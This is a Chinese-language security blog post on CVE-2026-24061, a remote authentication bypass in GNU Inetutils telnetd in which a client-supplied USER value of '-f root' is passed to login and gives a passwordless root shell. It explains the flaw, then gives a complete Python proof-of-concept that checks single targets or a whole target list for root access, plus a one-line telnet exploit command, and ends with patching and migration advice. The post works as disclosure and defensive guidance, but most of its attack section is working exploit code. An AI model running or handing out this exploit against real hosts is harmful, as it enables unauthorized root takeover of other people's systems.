GNU Inetutils Telnetd 远程认证绕过漏洞(CVE-2026-24061)
本文最后更新于88 天前,其中的信息可能已经过时,如有错误请发送邮件到jingqueya@gmail.com

Vulnerability Description

GNU InetUtils telnetd 是 GNU InetUtils 套件中的远程登录服务守护进程,监听 TCP 23 端口,为客户端提供基于 Telnet 协议的明文终端接入能力。主流 Linux 发行版在安装 telnet 服务器时默认选择不是 inetutils-telnetd,但依旧作为可选项存在于官方仓库中。

telnetd 在调用系统 /usr/bin/login 程序时,未对从客户端 USER 环境变量传入的用户名做过滤,直接拼接到 login 命令行。未经授权的远程攻击者可利用该缺陷,在无需任何口令的情况下直接获取目标主机的 root shell,造成完全控制权泄露、敏感信息被窃取或进一步横向移动。

受影响范围

  • 受影响软件:GNU Inetutils
  • 受影响组件telnetd 守护进程
  • 受影响版本1.9.3 至 2.7

Principle

当 telnetd 接收到客户端的连接请求时,它会准备参数并调用 login 程序来处理认证。在受影响的版本中,telnetd 将客户端传入的 USER 环境变量直接用于构建 login 的参数列表,而未进行充分的过滤或分隔符处理。

char *user = get_env_var(“USER”); // 从客户端获取,攻击者可控
char *argv[] = { “login”, “-h”, host, “-p”, user, NULL };
execv(“/bin/login”, argv);

在常见的 Linux/Unix 系统中,longin都支持 -f(force) 参数:
该参数:-f username 告诉 login 程序,用户已经通过了认证(Pre-authenticated)不需要再输入密码

这通常由 rlogind 或其他受信任的守护进程使用。

流程示意

漏洞复现:

环境准备:靶场下载(≖ᴗ≖๑)

启动环境:

POC验证:

!/usr/bin/env python3

import sys
import argparse
import shutil
import os
import pexpect

def check_telnet():
if not shutil.which(“telnet”):
print(“[ERROR] telnet client not found. Please install ‘telnet’.”)
sys.exit(1)

os.environ[“USER”] = “-f root”
ROOT_PATTERN = “uid=0(root)”

def check_target(target, port=23, timeout=5):
try:
child = pexpect.spawn(f”env USER=’-f root’ telnet -a {target} {port}”, timeout=timeout)
idx = child.expect([r”[#$] “, r”root@.*[#$] “, pexpect.TIMEOUT, pexpect.EOF], timeout=timeout)
if idx in [0, 1]:
child.sendline(“id”)
idx2 = child.expect([ROOT_PATTERN, r”[#$] “, pexpect.TIMEOUT, pexpect.EOF], timeout=timeout)
output = child.before.decode(errors=”ignore”) + child.after.decode(errors=”ignore”)
if ROOT_PATTERN in output:
print(f”[VULNERABLE] {target}:{port} -> {output.strip()}”)
child.sendline(“exit”)
child.close()
return True
else:
print(f”[NOT VULNERABLE] {target}:{port}”)
elif idx == 2:
print(f”[TIMEOUT] {target}:{port}”)
elif idx == 3:
print(f”[REFUSED] {target}:{port}”)
child.close()
except Exception as e:
print(f”[ERROR] {target}:{port}: {e}”)
return False

def load_targets(file):
with open(file, “r”) as f:
return [line.strip() for line in f if line.strip() and not line.startswith(“#”)]

def main():
check_telnet()
parser = argparse.ArgumentParser(description=”CVE-2026-24061 telnetd auth bypass PoC”)
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument(“-t”, “–target”, help=”Target IP or hostname”)
group.add_argument(“-f”, “–file”, help=”File with targets list”)
parser.add_argument(“-p”, “–port”, type=int, default=23, help=”Telnet port”)
parser.add_argument(“-T”, “–timeout”, type=int, default=5, help=”Network timeout”)
args = parser.parse_args()
targets = [args.target] if args.target else load_targets(args.file)
print(f”Loaded {len(targets)} target(s)”)
found = False
for t in targets:
if check_target(t, args.port, args.timeout):
found = True
sys.exit(0 if found else 1)

if name == “main“:
main()

EXP

USER =’-f root’ telnet -a ip port

Repair Suggestions

GNU Inetutils 维护团队已发布紧急补丁;
立即停止使用 Telnet: 这是最彻底的方案。Telnet 是明文传输协议,本质上是不安全的。请全面迁移至 SSH (OpenSSH)。

防火墙策略: 如果必须保留 Telnet,请严格限制 TCP 23 端口的访问权限,仅允许受信任的内网 IP 连接。

升级软件包: 各大 Linux 发行版(Ubuntu, Debian, RedHat 等)正在紧急推送 inetutils-telnetd 的安全更新,请立即执行 apt update && apt upgrade。

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇